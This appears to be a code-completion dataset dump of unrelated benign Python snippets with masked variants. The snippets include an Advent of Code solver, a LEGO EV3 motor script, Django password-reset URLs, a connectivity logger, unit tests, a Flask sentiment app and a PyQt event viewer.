import re import z3 digit_search = re.compile('\-?\d+') def get_sensor_beacon(data_in): sensors = {} beacons = set() for line in data_in: s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line))) sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y) beacons.add((b_x, b_y)) return sensors, beacons def manhat(point_one, point_two): return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1]) def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") def no_beacon_row(sensors, beacons, row): start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys())) beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row]) # print(start_x) # print(beacons_on_row) # print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1)) return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1 # airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/ def part_two(data_in): s = z3.Solver() x = z3.Int("x") y = z3.Int("y") s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy with open("day15.txt" , "r") as f: data = f.read().split('\n') sensor_list, beacon_list = get_sensor_beacon(data) print("Part One:", no_beacon_row(sensor_list, beacon_list, 2000000)) print("Part Two:", part_two(data))
[ 2, 4, 6, 8, 9 ]
9,982
f6ebc3c37a69e5ec49d91609db394eec4a94cedf
<mask token>
<mask token> brick.sound.beep() wait(1000) motor_a.run_target(500, 720) wait(1000) brick.sound.beep(1000, 500)
<mask token> motor_a = Motor(Port.A) brick.sound.beep() wait(1000) motor_a.run_target(500, 720) wait(1000) brick.sound.beep(1000, 500)
from pybricks import ev3brick as brick from pybricks.ev3devices import Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor from pybricks.parameters import Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align from pybricks.tools import print, wait, StopWatch from pybricks.robotics import DriveBase motor_a = Motor(Port.A) brick.sound.beep() wait(1000) motor_a.run_target(500, 720) wait(1000) brick.sound.beep(1000, 500)
#!/usr/bin/env pybricks-micropython from pybricks import ev3brick as brick from pybricks.ev3devices import (Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor) from pybricks.parameters import (Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align) from pybricks.tools import print, wait, StopWatch from pybricks.robotics import DriveBase # Write your program here motor_a = Motor(Port.A) brick.sound.beep() wait(1000) motor_a.run_target(500, 720) #500 degrees per second, 90 target angle wait(1000) brick.sound.beep(1000, 500) #frequency, duration
[ 0, 1, 2, 3, 4 ]
9,983
7e35c35c8ef443155c45bdbff4ce9ad07b99f144
<mask token>
<mask token> urlpatterns = [path('', views.index, name='index'), path('sign', views.sign, name='sign'), path('reset_password/', auth_views.PasswordResetView. as_view(template_name='password_reset.html'), name='password_reset'), path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view( template_name='password_reset_sent.html'), name='password_reset_done'), path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView. as_view(template_name='password_reset_form.html'), name= 'password_reset_confirm'), path('reset_password_complete/', auth_views. PasswordResetCompleteView.as_view(template_name= 'password_reset_done.html'), name='password_reset_complete')]
from django.urls import path from . import views from django.contrib.auth import views as auth_views urlpatterns = [path('', views.index, name='index'), path('sign', views.sign, name='sign'), path('reset_password/', auth_views.PasswordResetView. as_view(template_name='password_reset.html'), name='password_reset'), path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view( template_name='password_reset_sent.html'), name='password_reset_done'), path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView. as_view(template_name='password_reset_form.html'), name= 'password_reset_confirm'), path('reset_password_complete/', auth_views. PasswordResetCompleteView.as_view(template_name= 'password_reset_done.html'), name='password_reset_complete')]
from django.urls import path from . import views from django.contrib.auth import views as auth_views urlpatterns = [ path('',views.index,name='index'), path('sign',views.sign,name='sign'), # path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'), # path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'), # path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'), # path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'), # path( # 'change-password', # auth_views.PasswordChangeView.as_view( # template_name='common/change-password.html', # success_url='/' # ), # name='change-password' # ), path('reset_password/', auth_views.PasswordResetView.as_view(template_name="password_reset.html"), name="password_reset" ), path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(template_name="password_reset_sent.html"), name='password_reset_done'), path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.as_view(template_name="password_reset_form.html"), name='password_reset_confirm'), path('reset_password_complete/', auth_views.PasswordResetCompleteView.as_view(template_name="password_reset_done.html"), name='password_reset_complete'), ]
null
[ 0, 1, 2, 3 ]
9,984
119ebdf4c686c52e052d3926f962cefdc93681cd
def my_filter(L, num): return [x for x in L if x % num] print 'my_filter', my_filter([1, 2, 4, 5, 7], 2) def my_lists(L): return [range(1, x+1) for x in L] print 'my_lists', my_lists([1, 2, 4]) print 'my_lists', my_lists([0]) def my_function_composition(f, g): return {f_key: g[f_val] for f_key, f_val in f.items()} print 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'}) def mySum(L): current = 0 for x in L: current = current + x return current def myProduct(L): current = 1.0 for x in L: current = current * x return current def myMin(L): current = 0 for x in L: current = x if x < current else current return current def myConcat(L): current = '' for x in L: current = current + x return current def myUnion(L): current = set() for x in L: current = current.union(x) return current print 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])
null
null
null
null
[ 0 ]
9,985
f229f525c610d9925c9300ef22208f9926d6cb69
<mask token>
<mask token> def generateLog(ctime1, request_obj): log_file.write(ctime1 + '\t') log_file.write('Status code: ' + str(request_obj.status_code)) log_file.write('\n') def is_internet(): """Internet function""" print(time.ctime()) current_time = time.ctime() try: r = requests.get('https://www.google.com/') if r.status_code == 200: print('Connection established successfully!') else: print('Error, try again') except ConnectionError: print(f'No internet connection, time: {time.ctime()}') finally: print('Generating log file...') generateLog(current_time, r) print('Exiting the program...') <mask token> while t < 30: try: is_internet() except KeyboardInterrupt: print('Keyboard Interrupt error ') break finally: t += 1 log_file.close() input()
<mask token> log_file = open('logfile.txt', 'w') def generateLog(ctime1, request_obj): log_file.write(ctime1 + '\t') log_file.write('Status code: ' + str(request_obj.status_code)) log_file.write('\n') def is_internet(): """Internet function""" print(time.ctime()) current_time = time.ctime() try: r = requests.get('https://www.google.com/') if r.status_code == 200: print('Connection established successfully!') else: print('Error, try again') except ConnectionError: print(f'No internet connection, time: {time.ctime()}') finally: print('Generating log file...') generateLog(current_time, r) print('Exiting the program...') t = 0 while t < 30: try: is_internet() except KeyboardInterrupt: print('Keyboard Interrupt error ') break finally: t += 1 log_file.close() input()
import requests import time log_file = open('logfile.txt', 'w') def generateLog(ctime1, request_obj): log_file.write(ctime1 + '\t') log_file.write('Status code: ' + str(request_obj.status_code)) log_file.write('\n') def is_internet(): """Internet function""" print(time.ctime()) current_time = time.ctime() try: r = requests.get('https://www.google.com/') if r.status_code == 200: print('Connection established successfully!') else: print('Error, try again') except ConnectionError: print(f'No internet connection, time: {time.ctime()}') finally: print('Generating log file...') generateLog(current_time, r) print('Exiting the program...') t = 0 while t < 30: try: is_internet() except KeyboardInterrupt: print('Keyboard Interrupt error ') break finally: t += 1 log_file.close() input()
#!python3 import requests import time log_file = open("logfile.txt", "w") def generateLog(ctime1, request_obj): log_file.write(ctime1 + "\t") log_file.write("Status code: " + str(request_obj.status_code)) log_file.write("\n") def is_internet(): """Internet function""" print(time.ctime()) current_time = time.ctime() try: r = requests.get("https://www.google.com/") # sends requests to google.com if r.status_code == 200: # if ok, prints msg print("Connection established successfully!") else: # if not ok, prints msg print("Error, try again") # generateLog("logfile", current _time, r) except ConnectionError: # if this error is enountered, it will print this message print(f"No internet connection, time: {time.ctime()}") finally: print("Generating log file...") # time.sleep(0.25) generateLog(current_time, r) # calls the generateLog function print("Exiting the program...") t = 0 while t < 30: try: is_internet() # time.sleep(10) except KeyboardInterrupt: print("Keyboard Interrupt error ") break finally: t += 1 log_file.close() input()
[ 0, 3, 4, 5, 6 ]
9,986
5a7e535f2ae585f862cc792dab77f2fe0584fddc
<mask token> class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
<mask token> class TestMultipler(unittest.TestCase): <mask token> def test__create__range(self): self.assertIsInstance(Multiplier.create((23, 27)), Range) <mask token> <mask token> class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
<mask token> class TestMultipler(unittest.TestCase): def test__create__fixed_width(self): self.assertIsInstance(Multiplier.create(23), FixedWidth) def test__create__range(self): self.assertIsInstance(Multiplier.create((23, 27)), Range) def test__create__multiplier(self): self.assertEqual(Multiplier.create(WHATEVER), WHATEVER) self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE) <mask token> class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
<mask token> class TestMultipler(unittest.TestCase): def test__create__fixed_width(self): self.assertIsInstance(Multiplier.create(23), FixedWidth) def test__create__range(self): self.assertIsInstance(Multiplier.create((23, 27)), Range) def test__create__multiplier(self): self.assertEqual(Multiplier.create(WHATEVER), WHATEVER) self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE) def test__create__bad_argument(self): self.assertRaises(ValueError, Multiplier.create, '1234') class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
import unittest from pattern.multiplier import Multiplier, FixedWidth, Range from pattern.multiplier import WHATEVER, ONE_OR_MORE class TestMultipler(unittest.TestCase): def test__create__fixed_width(self): self.assertIsInstance(Multiplier.create(23), FixedWidth) def test__create__range(self): self.assertIsInstance(Multiplier.create((23, 27)), Range) def test__create__multiplier(self): self.assertEqual(Multiplier.create(WHATEVER), WHATEVER) self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE) def test__create__bad_argument(self): self.assertRaises(ValueError, Multiplier.create, '1234') class TestWhatever(unittest.TestCase): def test_compile(self): self.assertEqual(WHATEVER.compile(), '*') class TestOneOrMore(unittest.TestCase): def test_compile(self): self.assertEqual(ONE_OR_MORE.compile(), '+') class TestFixedWidth(unittest.TestCase): def test_compile(self): self.assertEqual(FixedWidth(23).compile(), '{23}') class TestRange(unittest.TestCase): def test_compile(self): self.assertEqual(Range((23, 27)).compile(), '{23,27}')
[ 8, 10, 12, 13, 15 ]
9,987
4f06eddfac38574a0ae3bdd0ea2ac81291380166
<mask token>
from .simulator import SpatialSIRSimulator as Simulator from .util import Prior from .util import PriorExperiment from .util import Truth from .util import log_likelihood
null
null
null
[ 0, 1 ]
9,988
2d7f7cb66480ecb8335949687854554679026959
<mask token> @app.route('/', methods=['POST']) def func(): st = request.form['review'] if st == '': return render_template('index.html') english = spacy.load('en_core_web_sm') result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if sentiment[0]['compound'] >= 0.05: sent = 'Positive ' emoji = 128512 address = ( ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' ) elif sentiment[0]['compound'] <= -0.05: sent = 'Negative ' emoji = 128577 address = ( 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' ) else: sent = 'Neutral ' emoji = 128528 address = ( 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' ) return render_template('output.html', sentence=st, sent=sent, emoji= emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') <mask token>
<mask token> @app.route('/') def hello(): return render_template('index.html') @app.route('/', methods=['POST']) def func(): st = request.form['review'] if st == '': return render_template('index.html') english = spacy.load('en_core_web_sm') result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if sentiment[0]['compound'] >= 0.05: sent = 'Positive ' emoji = 128512 address = ( ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' ) elif sentiment[0]['compound'] <= -0.05: sent = 'Negative ' emoji = 128577 address = ( 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' ) else: sent = 'Neutral ' emoji = 128528 address = ( 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' ) return render_template('output.html', sentence=st, sent=sent, emoji= emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') if __name__ == '__main__': app.run(debug=True)
<mask token> app = Flask(__name__) @app.route('/') def hello(): return render_template('index.html') @app.route('/', methods=['POST']) def func(): st = request.form['review'] if st == '': return render_template('index.html') english = spacy.load('en_core_web_sm') result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if sentiment[0]['compound'] >= 0.05: sent = 'Positive ' emoji = 128512 address = ( ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' ) elif sentiment[0]['compound'] <= -0.05: sent = 'Negative ' emoji = 128577 address = ( 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' ) else: sent = 'Neutral ' emoji = 128528 address = ( 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' ) return render_template('output.html', sentence=st, sent=sent, emoji= emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') if __name__ == '__main__': app.run(debug=True)
import spacy from vaderSentiment import vaderSentiment from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def hello(): return render_template('index.html') @app.route('/', methods=['POST']) def func(): st = request.form['review'] if st == '': return render_template('index.html') english = spacy.load('en_core_web_sm') result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if sentiment[0]['compound'] >= 0.05: sent = 'Positive ' emoji = 128512 address = ( ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' ) elif sentiment[0]['compound'] <= -0.05: sent = 'Negative ' emoji = 128577 address = ( 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' ) else: sent = 'Neutral ' emoji = 128528 address = ( 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' ) return render_template('output.html', sentence=st, sent=sent, emoji= emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') if __name__ == '__main__': app.run(debug=True)
import spacy from vaderSentiment import vaderSentiment from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def hello(): return render_template('index.html') @app.route('/',methods=['POST']) def func(): st=request.form["review"] if(st==''): return render_template('index.html') english = spacy.load("en_core_web_sm") result = english(st) sentences = [str(s) for s in result.sents] analyzer = vaderSentiment.SentimentIntensityAnalyzer() sentiment = [analyzer.polarity_scores(str(s)) for s in sentences] if(sentiment[0]['compound'] >= 0.05) : sent="Positive " emoji=128512 address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg' elif(sentiment[0]['compound'] <= - 0.05) : sent="Negative " emoji=128577 address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg ' else : sent="Neutral " emoji=128528 address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg ' return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address) @app.route('/fu.html') def result(): return render_template('fu.html') @app.route('/new.html') def new(): return render_template('new.html') if __name__ == '__main__': app.run(debug=True)
[ 3, 5, 6, 7, 8 ]
9,989
c513ad6ef12ae7be5d17d8d44787691cbc065207
class Violation(object): <mask token> <mask token> <mask token>
class Violation(object): def __init__(self, line, column, code, message): self.line = line self.column = column self.code = code self.message = message <mask token> <mask token>
class Violation(object): def __init__(self, line, column, code, message): self.line = line self.column = column self.code = code self.message = message def __str__(self): return self.message <mask token>
class Violation(object): def __init__(self, line, column, code, message): self.line = line self.column = column self.code = code self.message = message def __str__(self): return self.message def __repr__(self): return 'Violation(line={}, column={}, code="{}", message="{}")'.format( self.line, self.column, self.code, self.message)
class Violation(object): def __init__(self, line, column, code, message): self.line = line self.column = column self.code = code self.message = message def __str__(self): return self.message def __repr__(self): return 'Violation(line={}, column={}, code="{}", message="{}")'.format( self.line, self.column, self.code, self.message)
[ 1, 2, 3, 4, 5 ]
9,990
382bc321c5fd35682bc735ca4d6e293d09be64ec
<mask token>
<mask token> if numero % 2 == 0: p = numero print(p, 'é um número par') else: i = numero print(i, 'é um número ímpar')
p = 0 i = 0 numero = int(input('Insira um número: ')) if numero % 2 == 0: p = numero print(p, 'é um número par') else: i = numero print(i, 'é um número ímpar')
#função: Definir se o número inserido é ímpar ou par #autor: João Cândido p = 0 i = 0 numero = int(input("Insira um número: ")) if numero % 2 == 0: p = numero print (p, "é um número par") else: i = numero print (i, "é um número ímpar")
null
[ 0, 1, 2, 3 ]
9,991
8339113fd6b0c286cc48ec04e6e24978e2a4b44e
<mask token> class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8('Form')) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0 self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer')) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier')) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) self.bt_Later.setObjectName(_fromUtf8('bt_Later')) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI Light')) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8('label')) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8('cb_EventType')) self.cb_EventType.currentIndexChanged['QString'].connect(self. handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8('Segoe UI')) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8('label_2')) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate('Form', 'Revisit business events', None) ) self.bt_Earlier.setText(_translate('Form', '<<', None)) self.bt_Later.setText(_translate('Form', '>>', None)) self.label.setText(_translate('Form', 'Revisit business events', None)) self.label_2.setText(_translate('Form', 'Select Event Type', None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) def getBusinessEventsType(self): conn = sqlite3.connect('../Database/Business.db') conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_( "Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ',1') recCount = 0 while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem('Origin') modelInputValue = QtGui.QStandardItem(query_Origin.value(0) .toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_( "Select Name from Cities where ID = '" + query.value(3) .toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem('Destination') modelInputValue = QtGui.QStandardItem(query_Destination. value(0).toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem('Weight') modelInputValue = QtGui.QStandardItem(query.value(4).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem('Volume') modelInputValue = QtGui.QStandardItem(query.value(5).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem('Time of Entry') modelInputValue = QtGui.QStandardItem(query.value(6).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem('Priority') modelInputValue = QtGui.QStandardItem(query.value(7).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per Gram') modelInputValue = QtGui.QStandardItem(query.value(8).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem('Price Per CC') modelInputValue = QtGui.QStandardItem(query.value(9).toString() ) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem('Company') modelInputValue = QtGui.QStandardItem(query.value(10). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem('Transport Type') modelInputValue = QtGui.QStandardItem(query.value(11). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem('Day of the Week') modelInputValue = QtGui.QStandardItem(query.value(12). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem('Frequency') modelInputValue = QtGui.QStandardItem(query.value(13). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem('Duration') modelInputValue = QtGui.QStandardItem(query.value(14). toString()) modelView.appendRow([modelInputItem, modelInputValue]) if recCount == 0: self.label_3.setText(_translate('Form', 'No Records found', None)) self.inWork = False else: self.label_3.setText(_translate('Form', '', None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) <mask token> class Database: def __init__(self, parent=None): self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE') self.data.setDatabaseName('../Database/Business.db') self.data.open()
